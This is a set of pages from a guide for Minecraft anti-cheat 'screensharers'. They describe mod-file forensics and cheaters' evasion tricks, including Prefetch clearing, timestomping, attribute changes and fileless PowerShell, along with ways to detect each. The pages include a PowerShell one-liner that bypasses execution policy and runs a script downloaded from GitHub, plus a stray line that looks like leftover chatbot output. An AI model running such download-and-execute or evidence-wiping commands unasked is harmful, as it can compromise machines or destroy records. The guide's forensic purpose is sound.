_currently running_ game instance. Record this exact path. **Phase 2: Preliminary Checks on the** `**mods**` **Folder** Before analyzing individual `.jar` files, inspect the `mods` folder itself. * _Check Last Modified Date:_ Examine the "Date modified" timestamp of the `mods` folder. ▲ **Critical Indicator (Potentially Bannable):** If this timestamp is very recent, especially immediately preceding the start of the screenshare or during the gameplay session under review, it **strongly suggests tampering**. This indicates files were likely added, removed, or replaced within the folder very recently, often in an attempt to hide cheats before the check. Many server rulesets consider this a direct bannable offense due to the high likelihood of evidence manipulation. **Phase 3: Detailed Analysis of Mod Files (**`**.jar**`**)** Scrutinize **every single** `**.jar**` **file** present within the identified active `mods` folder. * _Identifying Loaded Mods (Simple Method):_ While the game is running, attempt to move each `.jar` file _out_ of the `mods` folder (e.g., to the desktop). Files that **cannot be moved** and give a "file in use" error are currently loaded and locked by the `javaw.exe` process. Files that _can_ be moved were not loaded by the current game instance (or may have been unloaded via specific bypass techniques – see Phase 4). Note which mods are actively loaded. * _File Size (Weight) Analysis:_ Check the size (in KB or MB) of each `.jar` file. Experienced ScreenSharers often develop a sense of the typical file size range for common mods (like Optifine, Keystrokes, Togglesneak) at specific versions. * **Suspicion:** A file size that is significantly **larger or smaller** than the expected standard for that _exact_ mod and version is a major **red flag** requiring deeper investigation. * _Example:_ A common Togglesneak mod for Minecraft 1.8.9 typically weighs around 24-30 KB. Finding a `Togglesneak-1.8.9.jar` file weighing 64 KB or only 10 KB is highly suspicious and warrants immediate decompilation and hash checking. Note down any mods with anomalous sizes. * _Content Analysis via Decompilation (Luyten, Recaf):_ Use a reliable Java decompiler (e.g., Luyten, Recaf) to examine the internal structure and source code of suspicious mods (those flagged for anomalous size, known cheat names, or any other reason). * _Procedure:_ Simply drag the suspect `.jar` file into the decompiler's window. * _What to Look For:_ * **Suspicious Class/Package Names:** Look for folders (packages) or files (classes) with names strongly suggesting cheat functionality (e.g., `autoclicker`, `aimassist`, `reach`, `velocity`, `killaura`, `scaffold`, `fly`, `speed`, `esp`, `xray`, `selfdestruct`, `bypass`, `exploit`). * **Unexpected Code:** Discovering code related to cheat functions within a mod that claims to be purely cosmetic or for performance (e.g., finding complex clicking logic inside a simple HUD mod). * **Obfuscation:** This is a critical red flag. Obfuscation is the intentional scrambling of code to make it unreadable and hinder analysis. Look for: * Meaningless or single-letter class/method/variable names (e.g., `a.class`, `b.class`, `a()`, `b()`, `var1`, `var2`). * Excessively long, random-looking names (e.g., `aBcDeFgHiJkLmNoPqRsT.class`). * Use of non-standard characters or symbols in names. * Code structure that seems deliberately convoluted or nonsensical. ▲ **Critical Indicator (Potentially Bannable):** Heavy obfuscation is **very frequently** used by cheat developers to hide malicious code and prevent easy detection. Due to the inability to quickly verify the legitimacy and safety of obfuscated code during a time-sensitive screenshare, **many servers have a strict policy of banning for the presence of obfuscated mods.** * _Integrity Verification via Hash (SHA256 / HashMyFiles):_ This is a definitive method to verify if a mod file, even one that looks legitimate by name and size (like Optifine), has been tampered with or is not the official version. * _Tools:_ Use a reliable file hash calculator like HashMyFiles (Nirsoft), 7-Zip's built-in hash tool, or PowerShell's `Get-FileHash` cmdlet. SHA256 is the recommended algorithm. * _Procedure:_ 1. Calculate the SHA256 hash of the player's specific `.jar` file in question. 2. Obtain the **official SHA256 hash** for the **exact same version** of that mod (including version number, build number, and target Minecraft version, e.g., OptiFine 1.8.9 HD U M5). Find this official hash from **trusted sources only**, such as the mod developer's official website (e.g., optifine.net), reputable curated platforms like CurseForge or Modrinth, or trusted community wikis/databases. **Do not trust hashes from random forums or unknown sources.** 3. Carefully compare the hash calculated from the player's file with the official hash. ▲ **Critical Indicator (Potentially Bannable):** If the hashes **do not match**, it is **conclusive proof** that the player's file has been modified and is **illegitimate**. It could be a modified official mod injected with cheats, a fake version disguised with the same name, or simply corrupted. Ensure you are comparing against the hash for the **precise version**; comparing against a different version will naturally result in a mismatch and is a common source of false positives if done carelessly. **Phase 4: Detecting "Unloaded" Mods (Memory Analysis)** This advanced technique aims to identify mods that were present in the `mods` folder when the game started but were subsequently removed or renamed _after_ the game launched, potentially in an attempt to evade detection. The references to these unloaded mods might still linger in the game's memory. * **Tool:** System Informer (or its predecessor Process Hacker) running with **administrator privileges**. Ensure the Kernel-Mode Driver is enabled in options for unrestricted access to process memory. * **Procedure:** 1. In System Informer, locate the `javaw.exe` process corresponding to the running Minecraft instance. 2. Right-click the process -> select _Properties_. 3. Navigate to the _Memory_ tab. 4. Click the _Strings_ button. 5. Configure the string search options: Set _Minimum length_ to a reasonable value (e.g., 5 or higher to reduce noise), ensure _Mapped_ and _Private_ memory types are selected (Image can sometimes be deselected to further reduce noise, but including it is safer initially). Ensure Unicode/Extended character support is enabled. Click OK. 6. In the Strings results window, click the _Filter_ button. 7. Select _Contains (case-insensitive)_. 8. Paste the **full, exact path** of the player's **active** `**mods**` **folder** (identified meticulously in Phase 1) into the filter text box. * **Result Analysis:** System Informer will display all strings found within the `javaw.exe` process's memory that contain the specified `mods` folder path. This list often includes the full paths to `.jar` files that the game has loaded or referenced. * **Comparison:** Carefully compare the list of `.jar` file paths found in the **memory strings** (System Informer results) with the list of `.jar` files **currently physically present** on the disk within the active `mods` folder (viewed via File Explorer). ▲ **Critical Indicator (Potentially Bannable):** If System Informer's memory scan shows the full path to a specific mod (e.g., `C:\Users\Player\AppData\Roaming\.minecraft\mods\SuspiciousCheatMod.jar`) but that `.jar` file is **no longer physically present** in the `mods` folder on the disk, it is strong evidence that the mod was likely **"unloaded"** (if a mechanism exists in the cheat) and then deleted, moved, or renamed _after_ the game started, typically to evade detection during the screenshare. **BONUS METHOD 1: RedLotus Mod Analyzer (Automated Forensic Tool)** To drastically accelerate the detection of cheats, modified jars, and evasion tactics, the **RedLotus Mod Analyzer** offers a sophisticated, automated solution. This tool combines memory scanning, filesystem monitoring, and bytecode analysis into a single interface. * **Core Functionality:** * **Memory & Disk Scanning:** Automatically detects the running `javaw.exe` process to scan mods loaded in memory (bypassing file renaming tricks) or allows manual selection of a disk folder. * **Dynamic Detection Engine:** Analyzes raw bytecode for over 175+ combat module signatures (KillAura, Velocity, Reach) and structural fingerprints of known cheats, calibrated against a database of cheats. * **Anti-Evasion Monitoring:** Integrates directly with the NTFS **USN Journal** to detect mods that were deleted, moved, or modified _after_ the game started. * **Key Features for ScreenSharers:** * **Smart Alerts:** Instantly flags if the `mods` folder was tampered with during the session (e.g., "self-destruct" tactics). * **Integrity Verification:** Automatically verifies mod hashes against legitimate sources like CurseForge and Modrinth. * **Native Injection Detection:** Flags suspicious JNI vectors or unauthorized native libraries hidden inside JARs. * **Visual Evidence:** Highlights deleted/moved mods in red ("MOD NOT FOUND") and modified mods in orange, providing a clear timeline of events. * **Download Link:** [RedLotus Mod Analyzer](https://github.com/ItzIceHere/RedLotus-Mod-Analyzer/releases/download/RL/RedLotusModAnalyzer.exe) **BONUS METHOD 2: HabibiModAnalyzer (PowerShell Script)** For streamlining the integrity check process, especially the hash comparison phase, the _HabibiModAnalyzer_ PowerShell script, created by community member HadronCollision, can be highly effective. * **Functionality:** This script automates the verification of mod integrity by comparing the file hashes of `.jar` files in a specified `mods` folder against the extensive Modrinth database (a trusted mod platform). This quickly identifies mods that have been tampered with (hash mismatch). Additionally, it incorporates some generic cheat detection heuristics and can analyze Zone.Identifier ADS information to determine the file's likely download origin (e.g., identifying mods downloaded from untrusted sources). * **Execution Command:** To run the script directly from GitHub within a PowerShell window (run as Administrator): The script will typically prompt for the path to the `mods` folder to analyze. Here is the addition for the RedLotus Mod Analyzer as a "BONUS METHOD", formatted in the same style as the existing content: [PreviousSpecific Analysis for Minecraft](https://itzicehere.gitbook.io/redlotusguide/screensharing-minecraft-knowledge/fifth-section-specific-context-minecraft/specific-analysis-for-minecraft) [NextJavaedit - Detection via Hash/Content](https://itzicehere.gitbook.io/redlotusguide/screensharing-minecraft-knowledge/fifth-section-specific-context-minecraft/specific-analysis-for-minecraft/javaedit-detection-via-hashcontent) Last updated 6 months ago Copy Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass; Invoke-Expression (Invoke-RestMethod https://raw.githubusercontent.com/HadronCollision/PowershellScripts/refs/heads/main/HabibiModAnalyzer.ps1) --- # Command Prompt (CMD) Obfuscation | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/artifact-and-system-manipulation/command-prompt-obfuscation.md) . * **Description:** This technique doesn't prevent commands from executing but aims to visually **conceal the commands being typed or the output being displayed** within the Command Prompt (`cmd.exe`) window _during_ the screenshare. * **Mechanism:** Involves manipulating the properties of the CMD window itself: * _Transparency:_ Setting the window opacity to near-zero, making it almost invisible. * _Color Matching:_ Setting the screen text color to be identical to the screen background color (e.g., black text on a black background, or white text on a white background). This renders any typed commands or output invisible against the background. * **Why Cheaters Use It:** To hide actions performed via CMD (like running cleanup scripts, executing cheats, deleting files using `del` commands) from the ScreenSharer's real-time view, hoping they won't notice or won't check alternative logs. * **Detection:** * **Check Window Properties:** If a CMD window seems unresponsive or blank, right-click on its title bar -> Properties -> Colors tab. Check if the "Screen Text" and "Screen Background" colors are identical or if opacity settings (if available/modified) are abnormal. Resetting colors to default can reveal hidden text. * **Alternative Logs:** This method only affects the visual display. The commands executed might still be logged elsewhere, such as: * PowerShell command history (`ConsoleHost_history.txt`) if commands were relayed through PowerShell. * Specific Event Logs (e.g., process creation logs ID 4688 if enabled and capturing command lines). * Traces left by the executed commands themselves (e.g., Prefetch entries for programs launched via CMD, USN Journal entries for files deleted via `del`). [PreviousService Thread Suspension](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/artifact-and-system-manipulation/service-thread-suspension) [NextDisabling System Features via Registry/Group Policy](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/artifact-and-system-manipulation/disabling-system-features-via-registrygroup-policy) Last updated 1 year ago --- # Artifact Clearing Techniques | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/artifact-clearing-techniques.md) . A significant category of bypass techniques involves the **direct deletion or wiping of data** from standard Windows artifacts that normally log user activity and program execution. The goal is straightforward: remove incriminating traces before or during a screenshare to appear clean. Understanding how these artifacts are cleared and, more importantly, how the clearing _itself_ can often be detected is crucial. [PreviousDisabling System Features via Registry/Group Policy](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/artifact-and-system-manipulation/disabling-system-features-via-registrygroup-policy) [NextPrefetch Clearing](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/artifact-clearing-techniques/prefetch-clearing) Last updated 1 year ago --- # Disabling System Features via Registry/Group Policy | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/artifact-and-system-manipulation/disabling-system-features-via-registrygroup-policy.md) . * **Description:** Windows offers extensive configuration options through the Registry and the Local Group Policy Editor (`gpedit.msc` - available on Pro/Enterprise editions). Bypassers can leverage these legitimate configuration tools to disable or modify system features, potentially hindering the ScreenSharer's access to tools or artifacts. * **Mechanism:** Involves editing specific Registry keys/values or configuring Group Policy settings. Common targets include: * _Disabling Program Compatibility Assistant (PCA):_ Setting `DisablePCA` registry values under `HKLM\SOFTWARE\Policies\Microsoft\Windows\AppCompat` or `HKCU\Software\Policies\Microsoft\Windows\AppCompat`. * _Preventing Command Prompt Access:_ Enabling the policy "Prevent access to the command prompt" (User Configuration > Administrative Templates > System) or setting the corresponding registry key `HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD` to `1` or `2`. * _Hiding Drives in Explorer:_ Setting the `NoDrives` value under `HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer` using a bitmask to hide specific drive letters from File Explorer (though they remain accessible via direct path). * _Disabling Run Dialog:_ Setting the `NoRun` value under the same Explorer Policies key disables the Win+R Run dialog. * _Disabling Registry Editor Access:_ Enabling the policy "Prevent access to registry editing tools" blocks `regedit.exe`. * **Why Cheaters Use It:** To directly obstruct the ScreenSharer by disabling tools (`cmd.exe`, `regedit.exe`, Run dialog) commonly used during checks, hide potential evidence locations (hiding drives), or prevent specific logging mechanisms (disabling PCA). * **Detection:** * **Check Specific Registry Keys:** Manually navigate to the relevant policy keys mentioned above in `regedit` or Registry Explorer and check the values. * **Check Group Policy:** Run `gpresult /h gpreport.html` in CMD to generate an HTML report of applied Group Policies (both local and domain-level). Examine the report for restrictive policies. * **Execution Logs:** Look for recent execution of `regedit.exe` or `reg.exe` in Prefetch/BAM, which might indicate recent manual changes to these settings. * **Observe Behavior:** Directly encountering disabled features (e.g., CMD not opening, Run dialog blocked) during the screenshare is immediate evidence that such policies are active. [PreviousCommand Prompt (CMD) Obfuscation](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/artifact-and-system-manipulation/command-prompt-obfuscation) [NextArtifact Clearing Techniques](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/artifact-clearing-techniques) Last updated 1 year ago --- # Attribute Manipulation (Read-Only) | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/artifact-and-system-manipulation/attribute-manipulation.md) . * **Description:** This technique involves changing the standard file attributes (like Read-Only, Hidden, System) of specific files or folders to hinder detection or prevent logging mechanisms from functioning correctly. * **Mechanism:** Uses standard Windows functionality: * File Properties GUI (Right-click > Properties > Check "Read-only" or "Hidden"). * Command-line tool `attrib` (e.g., `attrib +r +h C:\path\to\file`). * PowerShell commands (`Set-ItemProperty`). * **Why Cheaters Use It (Screensharing Context):** The most common malicious use in screensharing involves setting the **Read-Only** attribute (`+r`) on **Prefetch files (**`**.pf**`**)** located in `C:\Windows\Prefetch`. * _Prefetch Bypass:_ When a `.pf` file is marked as read-only, the SysMain service is prevented from updating its contents (like the Last Execution Time and Run Count) upon subsequent launches of the corresponding application. This effectively "freezes" the Prefetch entry, making a recently executed cheat appear as if it hasn't been run since the date recorded before the attribute was set, thus hiding recent activity from Prefetch analysis. * _Hiding Files:_ Setting the Hidden attribute (`+h`) is also commonly used to simply hide cheat files or related folders from default views in File Explorer. * **Detection:** * **Checking Attributes:** Directly check the attributes of suspicious files (especially `.pf` files showing old timestamps despite other execution evidence). * In File Explorer (Properties > General). * In Command Prompt: Use `dir /ar C:\Windows\Prefetch` to list files with the read-only attribute, or `dir /ah C:\path\` for hidden files. * **USN Journal (**`**$UsnJrnl**`**):** Changing file attributes (including setting Read-Only or Hidden) generates a `**BASIC_INFO_CHANGE | CLOSE**` event in the Journal for the affected file. Finding recent `BASIC_INFO_CHANGE` events specifically for `.pf` files is a strong indicator of Prefetch tampering. [PreviousHexadecimal File Modification (Hex Editing)](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/artifact-and-system-manipulation/hexadecimal-file-modification) [NextService Thread Suspension](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/artifact-and-system-manipulation/service-thread-suspension) Last updated 1 year ago --- # Cloud Storage (OneDrive, Google Drive, etc.): | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/environment-and-hardware-bypasses/cloud-storage.md) . * **Description:** Cloud storage services synchronize files between a user's online account and a designated local folder on their PC. Files stored in these folders exist both locally and in the cloud. * **Mechanism & Evasion:** Cheats or related files can be placed within a synced cloud storage folder (e.g., the local OneDrive folder). The potential bypass arises from the possibility of **remote manipulation**. An accomplice (or the player using another device like a phone or second computer logged into the same cloud account) could potentially **delete, modify, or replace** the cheat file via the cloud service's web interface or another synced device _while the screenshare is ongoing on the primary PC_. Depending on the sync client's speed and behavior, the file might disappear or change on the local disk with minimal or delayed local logging, potentially confusing the ScreenSharer. * **Detection Considerations:** * **Check Common Cloud Folders:** Be aware of and inspect standard cloud sync directories (`C:\Users\%username%\OneDrive`, `Google Drive`, `Dropbox`, etc.) for suspicious files or recent modifications. * **File Timestamps & Journal:** Analyze file timestamps within these folders. The USN Journal will log the local file system changes made by the sync client (creations, deletions, overwrites) – look for recent, unexplained activity related to suspicious files in these directories. * **Sync Client Logs:** The cloud service's sync client application itself might maintain local logs detailing synchronization activities, potentially showing remote deletions or updates (log locations vary by service). * While less common than other methods, it's a potential vector for tampering, especially in coordinated scenarios. [PreviousVirtual Machines (VMs):](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/environment-and-hardware-bypasses/virtual-machines) [NextBan Evasion and Alt Account Detection](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/ban-evasion-and-alt-account-detection) Last updated 1 year ago --- # Mechanisms of Evasion | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/fileless-malware-and-living-off-the-land-binaries/mechanisms-of-evasion.md) . * **Living-off-the-Land (LotL):** Scripts run using trusted, built-in Windows interpreters (`powershell.exe`, `cmd.exe`, `cscript.exe`/`wscript.exe` for VBS, `mshta.exe` for HTA) or commonly installed ones (`python.exe`, `AutoIt3.exe`). Since the interpreters are legitimate, their execution is less likely to be immediately flagged by basic AV compared to a completely unknown `.exe`. * **Fileless Execution (PowerShell Focus):** PowerShell is particularly potent because it allows code (cmdlets, scripts) to be downloaded and executed **directly in memory** without ever touching the disk. Encoded commands can be passed via the command line (`powershell.exe -EncodedCommand ...`), minimizing disk artifacts. * **Obfuscation:** Scripts are text-based and easily obfuscated. Techniques include: * Encoding (Base64 is common in PowerShell). * Character substitution/concatenation. * Breaking logic into many small, confusingly named functions. * Adding junk code or comments. This hinders static analysis (reading the script code) and simple string searches. * **Automation of Malicious Tasks:** Scripts excel at automating sequences of actions relevant to bypassing screenshares, such as: * Disabling security services or specific logging mechanisms (e.g., stopping SysMain, clearing Event Logs via `wevtutil`). * Deleting specific files or artifacts (e.g., Prefetch files, browser history, cheat logs, registry keys via `reg delete`). * Modifying system settings (e.g., changing file attributes, registry policies). * Downloading and executing secondary payloads (e.g., using PowerShell's `Invoke-WebRequest` or `certutil.exe` called from a script). * **Interaction with System Components:** Scripts can directly interact with powerful system interfaces: * Windows APIs (via PowerShell's .NET integration or specific COM objects). * Windows Management Instrumentation (WMI) for system queries, configuration changes, or remote execution. * COM Objects for interacting with various applications and system components. * .NET Framework for complex operations, memory manipulation, or loading assemblies. * **HTA Exploitation:** HTML Applications (`.hta` files executed by `mshta.exe`) run embedded scripts (VBScript, JScript) outside the browser sandbox, often with higher privileges, allowing direct system interaction. Can be used as loaders delivered via web or email. * **AutoIt Automation:** AutoIt is a legitimate scripting language for Windows GUI automation. Attackers misuse it to create sophisticated macros, autoclickers, or bots that simulate user input. Compiled AutoIt scripts (`.exe`) can sometimes be harder to reverse-engineer than plain text scripts. [PreviousFileless Malware and Living-off-the-Land Binaries (LOLBins)](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/fileless-malware-and-living-off-the-land-binaries) [NextForensic Implications and Detection](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/fileless-malware-and-living-off-the-land-binaries/forensic-implications-and-detection) Last updated 1 year ago --- # Mechanisms of Evasion | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/scripting-languages-for-evasion/mechanisms-of-evasion.md) . * _Living-off-the-Land:_ Scripts leverage built-in Windows interpreters (like `powershell.exe`, `cmd.exe`, `cscript.exe`, `wscript.exe`, `mshta.exe`) or commonly installed ones (`python.exe`, `AutoIt3.exe`). Since these interpreters are legitimate, their execution is less likely to be flagged by basic security software compared to unknown executables. * _Fileless Execution (PowerShell):_ PowerShell is particularly powerful as it allows for code execution **directly in memory** without necessarily writing scripts to disk. Commands can be downloaded and executed on-the-fly, or encoded commands can be passed via the command line, minimizing disk artifacts. * _Obfuscation:_ Scripts are easily obfuscated using various techniques (encoding like Base64, character substitution, breaking code into smaller parts) making static analysis difficult. * _Automation:_ Scripts excel at automating sequences of actions, such as disabling security services, deleting logs/files (e.g., Prefetch entries, specific registry keys, browser history), modifying system settings, or downloading and executing secondary payloads. * _Interaction with System Components:_ Scripts can interact directly with Windows APIs, WMI, COM objects, and the .NET framework, enabling complex operations like process injection, registry manipulation, network communication, and persistence mechanisms (e.g., creating scheduled tasks or startup entries). * _HTA Exploitation:_ HTML Applications (`.hta` files) can execute embedded scripts (VBScript, JScript) with higher privileges than standard web pages, leveraging `mshta.exe`. This can be used to bypass browser sandbox restrictions and execute arbitrary code when a user opens the HTA file. * _AutoIt for Automation:_ AutoIt is a legitimate scripting language designed for automating the Windows GUI and general scripting. Attackers misuse it to simulate mouse clicks/keystrokes (like complex macros or autoclickers) or automate malicious tasks. Compiled AutoIt scripts (`.exe`) can sometimes be harder to reverse-engineer than other script types. [PreviousScripting Languages for Evasion](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/scripting-languages-for-evasion) [NextForensic Implications](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/scripting-languages-for-evasion/forensic-implications) Last updated 1 year ago --- # Hexadecimal File Modification (Hex Editing) | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/artifact-and-system-manipulation/hexadecimal-file-modification.md) . * **Description:** _Hex editing_ involves directly modifying the raw binary content (the hexadecimal code) of a file using a hex editor tool (like HxD, ImHex, 010 Editor). * **Mechanism:** Bypassers might use hex editing on cheat executables (`.exe`) or libraries (`.dll`) to: * Change specific strings or identifiers within the file to evade simple string-based detections in memory scanners or SS tools. * Attempt to slightly alter the code structure to change the file's hash value, potentially bypassing basic hash-based blocklists (though this rarely bypasses robust signature detection). * Patch out anti-screenshare checks (e.g., code that detects AnyDesk and exits) or modify embedded configurations. * **Why Cheaters Use It:** Primarily to evade detection by altering the file's content signature (hash) or removing easily identifiable strings, or sometimes to disable built-in anti-cheat/anti-screenshare mechanisms within the cheat itself. * **Detection:** * **Hash Mismatch/Signature Verification:** Any modification to the binary content will **inevitably change the file's cryptographic hash** (MD5, SHA1, SHA256). Comparing the hash of the suspect file against the known hash of the legitimate/original version (if available) will reveal tampering. File signature validation tools (like BACA's script or `Get-AuthenticodeSignature`) will report a `HashMismatch` status for legitimately signed files that have been hex edited after signing. Unsigned files that have been hex edited will remain unsigned but their hash will differ from any known baseline. * **USN Journal (**`**$UsnJrnl**`**):** Direct modification of file content typically generates events like `DATA_OVERWRITE | CLOSE`, `DATA_EXTEND | CLOSE`, or potentially `STREAM_CHANGE | CLOSE` in the USN Journal, associated with the hex-edited file. Finding these entries coinciding with signature check failures or other suspicious indicators strengthens the case for hex editing. * **Manual Analysis (Advanced):** Comparing the hex dump of the suspect file against a known clean version can reveal the exact modifications made. [PreviousTimestamp Manipulation (Timestomping)](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/artifact-and-system-manipulation/timestamp-manipulation) [NextAttribute Manipulation (Read-Only)](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/artifact-and-system-manipulation/attribute-manipulation) Last updated 1 year ago --- # Timestamp Manipulation (Timestomping) | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/artifact-and-system-manipulation/timestamp-manipulation.md) . * **Description:** _Timestomping_ is a classic anti-forensic technique aimed at modifying the standard timestamps associated with files or folders. The primary goal is to alter the Modified, Accessed, Changed, and/or Birth (MACB) times to make a malicious file (like a cheat) or a recently modified legitimate file appear older or blend in with unrelated system files, thereby confusing timeline analysis during a screenshare. * **Mechanism:** Attackers use various tools or methods to rewrite the timestamp metadata: * Specialized Utilities: Tools like `Timestomp.exe` (from Metasploit) or other standalone utilities are designed specifically for this purpose. * Built-in Tools: PowerShell commands (`Set-ItemProperty`) or even lower-level API calls can be used to modify timestamps. * Target Attributes: These tools primarily target the timestamps stored within the `$STANDARD_INFORMATION` (`$SI`) attribute in the file's Master File Table (MFT) record, as these are the timestamps typically displayed by Windows Explorer and most basic tools. * **Why Cheaters Use It:** To make a recently downloaded, installed, or executed cheat file appear as if it hasn't been touched in months or years, hoping the ScreenSharer will overlook it when sorting by date or analyzing recent activity. It can also be used on artifacts like Prefetch files (though attribute manipulation is more common there) or logs. * **Detection:** Detecting timestomping often involves comparing different sets of timestamps associated with the file: * **$MFT $SI vs $FN Comparison:** As mentioned in the NTFS section, files often have _two_ sets of MACB timestamps stored in their MFT record: one in `$STANDARD_INFORMATION` ($SI) and another in `$FILE_NAME` ($FN). Timestomping tools often only modify the $SI timestamps. Parsing the $MFT (e.g., using MFTECmd) and comparing the `$SI` timestamps against the `$FN` timestamps for the _same file_ can reveal discrepancies, which strongly indicate manipulation. If the $SI timestamps show an old date (e.g., 2015) but the $FN timestamps show a recent date (e.g., matching the screenshare period), timestomping is highly likely. * **USN Journal (**`**$UsnJrnl**`**):** The act of modifying file timestamps typically generates a `BASIC_INFO_CHANGE` event in the USN Journal, logged with an _accurate_ timestamp of when the modification occurred. Finding recent `BASIC_INFO_CHANGE` entries for a file that displays much older $SI timestamps is strong evidence of timestomping. * **$LogFile:** In theory, the `$LogFile` might capture the transaction attempting to change the timestamp, potentially showing both the original and the intended fake timestamp, though parsing this artifact is complex. * **System Time Change Correlation:** If timestomping occurred recently, check Event Logs (ID 4616) for system time changes around the same period, as attackers might temporarily set the system clock back before modifying timestamps. (Note: Sophisticated tools may not require system time changes). [PreviousArtifact and System Manipulation](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/artifact-and-system-manipulation) [NextHexadecimal File Modification (Hex Editing)](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/artifact-and-system-manipulation/hexadecimal-file-modification) Last updated 1 year ago --- # Prefetch Clearing | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/artifact-clearing-techniques/prefetch-clearing.md) . * **Description:** This involves the removal of Prefetch files (`.pf`) from their storage location (`C:\Windows\Prefetch`). As Prefetch files contain detailed execution history (timestamps, run counts, loaded resources), deleting them eliminates this direct source of evidence. * **Mechanism:** * _Manual Deletion:_ The user navigates to `C:\Windows\Prefetch` (requires admin rights) and simply deletes specific `.pf` files (e.g., `cheat.exe-HASH.pf`) or selects and deletes the entire contents of the folder. * _Scripting/Tools:_ Cleanup utilities (like CCleaner, BleachBit) or custom scripts (`.bat`, `.ps1`) can be configured or run to automatically clear the Prefetch folder. * **Why Cheaters Use It:** To erase the execution history of specific cheats or tools, preventing the ScreenSharer from finding direct proof of recent launches via Prefetch analysis tools like WinPrefetchView. * **Detection:** * **USN Journal (**`**$UsnJrnl**`**):** This is the **primary detection method**. The deletion of any file, including `.pf` files, is meticulously logged in the Journal with a `FILE_DELETE | CLOSE` reason code, associated with the specific filename (e.g., `CHEAT.EXE-1234ABCD.pf`) and the `C:\Windows\Prefetch` path. Finding recent `FILE_DELETE` entries for `.pf` files, especially multiple deletions occurring clustered in time shortly before or during the screenshare, is **strong evidence of Prefetch clearing**. * **Empty/Incomplete Folder:** Visually inspecting the `C:\Windows\Prefetch` folder and finding it completely empty, or suspiciously lacking entries for commonly executed system processes (`explorer.exe`), recently used applications (`AnyDesk.exe`), or the game itself (`javaw.exe`), is a significant indicator of clearing, _provided_ that the SysMain service is running and Prefetching is enabled in the registry. * **Corroboration:** If other artifacts (e.g., BAM, memory strings) show recent execution of a program, but its corresponding `.pf` file is missing or has an old timestamp, clearing or tampering (like Read-Only attribute) should be suspected and investigated via the Journal. [PreviousArtifact Clearing Techniques](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing/artifact-clearing-techniques) [NextRegistry Clearing (BAM, RecentDocs, 